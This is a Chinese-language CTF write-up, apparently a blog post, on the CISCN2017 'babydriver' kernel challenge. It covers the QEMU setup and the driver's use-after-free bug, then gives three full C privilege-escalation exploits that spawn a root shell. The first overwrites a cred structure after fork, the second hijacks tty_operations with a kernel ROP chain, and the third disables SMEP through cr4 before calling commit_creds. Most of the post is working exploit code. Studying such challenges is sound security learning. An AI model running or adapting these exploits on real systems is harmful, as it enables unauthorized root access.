Linux Kernel Pwn(一)

March 30, 2020 PWN 访问: 34 次

kernel pwn 介绍

ctf-wiki中已经有详细的介绍,按照之前的,仍然根据ctf-wiki来进行学习

CISCN2017 - babydriver

用这道题来具体看一下做kernel pwn的流程

拿到题目之后,有三个文件,分别是boot.shbzImagerootfs.cpio

boot.sh是一个bash脚本

     1  #!/bin/bash
     2  
     3  qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s

bzImage: kernel binary,qemu启动时需I'm 要用到

rootfs.cpio: 文件系统映像,qemu启动时需要用到

首先来分析一下boot.sh这个启动脚本,利用qemu来启动一个虚拟内核,以bzImage为基础镜像,rootfs.cpio为文件系统映像

提取rootfs.cpio中的内容:

radish ➜ babydriver  ls
boot.sh  bzImage  rootfs.cpio  vmlinux
 radish ➜ babydriver  mkdir file-system
 radish ➜ babydriver  cp rootfs.cpio ./file-system 
 radish ➜ babydriver  cd file-system 
 radish ➜ file-system  ls
rootfs.cpio
 radish ➜ file-system  
 radish ➜ file-system  cpio -idmv < rootfs.cpio
.
.DS_Store
bin
bin/ash
bin/base64
......
16639 块
 radish ➜ file-system  ls
1.c  bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
 radish ➜ file-system  

相当于把这个文件进行了解压,如果要往这个文件系统中加入文件或删除文件时,在这个文件夹操作之后,再执行find . | cpio -o --format=newc > rootfs.cpio即可得到一个新的文件系统映像

查看init文件

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

12行加载了 babydriver.ko 这个驱动,一般的话,这个文件就是存在漏洞的LKM,然后分析这个漏洞,找出来漏洞

kernel pwn和往常pwn不同的是:exp需要用C语言来写,静态编译好之后加入到文件系统映像,然后重新打包,qemu重新启动内核系统

调试的话需要用到gdb的远程调试APItarget remote 127.0.0.1:1234

分析babydriver.ko

IDA打开分析,存在一个结构体

struct babydev_struct{
    char *device_buf;
    size_t device_buf_len;
}

主要有7个函数:

  • babydriver_init中设置了/dev/babydev作为设备文件,所以我们可以通过open来调用设备,从而调用了这个驱动程序
  • babyopen用来初始化babydev_struct结构体,申请0x40大小的堆块,该堆块的指针放到babydev_struct.device_buf中,大小放到babydev_struct.device_buf_len
  • babyioctl存在0x10001命令,如果是0x10001命令的话,程序会先将babydev_struct.device_buf中释放掉,然后重新分配一个指定大小的堆块,更新babydev_struct
  • babywrite提供用户修改堆块中的内容,但是修改的长度必须小于device_buf_len
  • babyread提供用户读取堆块中的内容,读取的长度同样是小于device_buf_len
  • babyrelease是将babydev_struct.device_buf释放掉
  • babydriver_exit是结束时调用的

漏洞成因

所有进程内核态的变量都指向同一片物理内存,由于babydev_struct是全局变量,所有进程会共享,并且释放的时候并没有置零,所以造成UAF

利用思路

通过UAF来使一个进程的babydev_struct.device_buf指向cred结构,然后修改cred结构前28字节数据为0即可获取到root权限

为什么fork就可以把一个cred结构申请到我们已经释放的堆块上了呢?因为在linux上每一个进程启动的时候,都需要申请一个cred结构,当执行fork时,子进程的cred结构会申请到我们已经释放的堆块上!!!

exp

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }
    else if(pid == 0)
    {
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }
    else
    {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

做法二

通过劫持tty_struct中的tty_operations中的指针来控制程序流,进而进行rop,由于本体开启了semp保护,所以我们先控制程序流,劫持esp指针让我们控制,然后再进行rop,用的gadget都是内核的

poc:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
    short i;
    unsigned char highByte, lowByte;

    for (i = 0; i < sourceLen; i += 2)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);

        if (highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;

        if (lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;

        dest[i / 2] = (highByte << 4) | lowByte;
    }
    return ;
}
void reverse(char *str,char *str2){
    int i=0;
    for(i=0;i<8;i++)
    {
        str[i]=str2[7-i];
    }
}



size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

size_t search_symbols(char *str){
    char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
    size_t num;
    FILE *fd=fopen("/proc/kallsyms","r");
    while(!feof(fd))
    {
        fgets(line,0x50,fd);
        // printf("读取内容:%s", c);
        if(strstr(line,str))
        {
            strncpy(addr,line,16);
            HexStrToByte(addr,addr_2,16);
            reverse(addr_3,addr_2);
            num = ((size_t *)addr_3)[0];
            printf("yesyesyesyes");
            break;
        }
    }
    fclose(fd);
    return num;
}


void get_shell()
{
    if(!getuid())
    {
        printf(":) root:");
        system("/bin/sh");
    }else{
        printf(":( pwn fail!!!");
    }
}


int main()
{
    save_status();
    size_t fake_tty_operations[53],payload[0x100]={0};
    size_t babyread_addr = 0xffffffffc0000130;
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    size_t commit_creds_addr ,prepare_kernel_cred_addr;
    commit_creds_addr = search_symbols("commit_creds");
    printf("commit_creds_addr :%p\n",commit_creds_addr);
    prepare_kernel_cred_addr = search_symbols("prepare_kernel_cred");
    printf("prepare_kernel_cred_addr :%p\n",prepare_kernel_cred_addr);

    size_t code_1 = 0xFFFFFFFF8181BFC5;//mov rsp,rax ; dec ebx ; ret
    size_t code_2 = 0xffffffff8100ce6e;//pop rax;ret
    size_t code_3 = 0xffffffff810d238d;//pop rdi;ret
    size_t code_4 = 0xffffffff81440b72;//pop rdx;ret
    size_t code_5 = 0xffffffff810dec19;//mov rdi, rax ; call rdx;
    size_t code_6 = 0xffffffff81063694;//swapgs ; pop rbp ; ret
    size_t code_7 = 0xffffffff814e35ef;//iretq; ret
    size_t code_8 = 0xffffffff8100700c;//pop rcx; ret;

    int fd_ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    char *heap=malloc(0x300);
    read(fd2,heap,0x2e0-0x10);
    int i;
    for(i=0;i<96;i++)
    {
        printf("%p\n",((size_t *)heap)[i]);
    }
    for(i=0;i<53;i++)
    {
        fake_tty_operations[i]=i+0x6600;
    }

    /*rop chain*/
    i=0;

    payload[i++] = code_3;
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred_addr;
    payload[i++] = code_4;//pop rdx;ret
    payload[i++] = code_8;//pop rcx; ret;
    payload[i++] = code_5;//mov rdi, rax ; call rdx;
    payload[i++] = commit_creds_addr;
    payload[i++] = code_6;
    payload[i++] = 0;
    payload[i++] = code_7;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;


    fake_tty_operations[0]=(size_t)code_2;
    fake_tty_operations[1]=(size_t)payload;
    fake_tty_operations[2]=(size_t)code_1;
    fake_tty_operations[7]=(size_t)code_1;

    ((size_t *)heap)[3]=fake_tty_operations;
    write(fd2,heap, 0x2e0-0x10);
    /*target*/
    char buf[0x8] = {0};
    system("echo ****one");
    write(fd_ptmx, buf, 8);
    system("echo ****two");

    return 0;
}

做法三

绕过semp来执行自己的代码

控制程序流执行这行代码即可关闭semp保护

mov cr4, 0x6f0

poc.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
    short i;
    unsigned char highByte, lowByte;

    for (i = 0; i < sourceLen; i += 2)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);

        if (highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;

        if (lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;

        dest[i / 2] = (highByte << 4) | lowByte;
    }
    return ;
}
void reverse(char *str,char *str2){
    int i=0;
    for(i=0;i<8;i++)
    {
        str[i]=str2[7-i];
    }
}



size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

size_t search_symbols(char *str){
    char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
    size_t num;
    FILE *fd=fopen("/proc/kallsyms","r");
    while(!feof(fd))
    {
        fgets(line,0x50,fd);
        // printf("读取内容:%s", c);
        if(strstr(line,str))
        {
            strncpy(addr,line,16);
            HexStrToByte(addr,addr_2,16);
            reverse(addr_3,addr_2);
            num = ((size_t *)addr_3)[0];
            printf("yesyesyesyes");
            break;
        }
    }
    fclose(fd);
    return num;
}


void get_shell()
{
    if(!getuid())
    {
        printf(":) root:");
        system("/bin/sh");
    }else{
        printf(":( pwn fail!!!");
    }
}
size_t commit_creds_addr ,prepare_kernel_cred_addr;

void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rbx, prepare_kernel_cred_addr;"
        "call rbx;"
        "mov rdi, rax;"
        "mov rbx, commit_creds_addr;"
        "call rbx;"
    );
}



int main()
{
    save_status();
    size_t fake_tty_operations[53],payload[0x100]={0};
    size_t babyread_addr = 0xffffffffc0000130;
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);


    commit_creds_addr = search_symbols("commit_creds");
    printf("commit_creds_addr :%p\n",commit_creds_addr);
    prepare_kernel_cred_addr = search_symbols("prepare_kernel_cred");
    printf("prepare_kernel_cred_addr :%p\n",prepare_kernel_cred_addr);

    size_t code_1 = 0xFFFFFFFF8181BFC5;//mov rsp,rax ; dec ebx ; ret
    size_t code_2 = 0xffffffff8100ce6e;//pop rax;ret
    size_t code_3 = 0xffffffff810d238d;//pop rdi;ret
    size_t code_4 = 0xffffffff81440b72;//pop rdx;ret
    size_t code_5 = 0xffffffff810dec19;//mov rdi, rax ; call rdx;
    size_t code_6 = 0xffffffff81063694;//swapgs ; pop rbp ; ret
    size_t code_7 = 0xffffffff814e35ef;//iretq; ret
    size_t code_8 = 0xffffffff8100700c;//pop rcx; ret;
    size_t code_9 = 0xffffffff81004d80;//mov cr4, rdi; pop rbp; ret;
    int fd_ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    char *heap=malloc(0x300);
    read(fd2,heap,0x2e0-0x10);
    int i;
    for(i=0;i<96;i++)
    {
        printf("%p\n",((size_t *)heap)[i]);
    }
    for(i=0;i<53;i++)
    {
        fake_tty_operations[i]=i+0x6600;
    }

    /*rop chain*/
    i=0;

    payload[i++] = code_3;
    payload[i++] = 0x6f0;
    payload[i++] = code_9;
    payload[i++] = 0;//rbp
    payload[i++] = (size_t)get_root;
    payload[i++] = code_6;
    payload[i++] = 0;
    payload[i++] = code_7;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;


    fake_tty_operations[0]=(size_t)code_2;
    fake_tty_operations[1]=(size_t)payload;
    fake_tty_operations[2]=(size_t)code_1;
    fake_tty_operations[7]=(size_t)code_1;

    ((size_t *)heap)[3]=fake_tty_operations;
    write(fd2,heap, 0x2e0-0x10);
    /*target*/
    char buf[0x8] = {0};
    system("echo ****one");
    write(fd_ptmx, buf, 8);
    system("echo ****two");

    return 0;
}

Reference

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

https://blog.csdn.net/qq_40827990

https://www.lhyerror404.cn/2020/03/23/【转】kernel-pwn-学习之路一/

添加新评论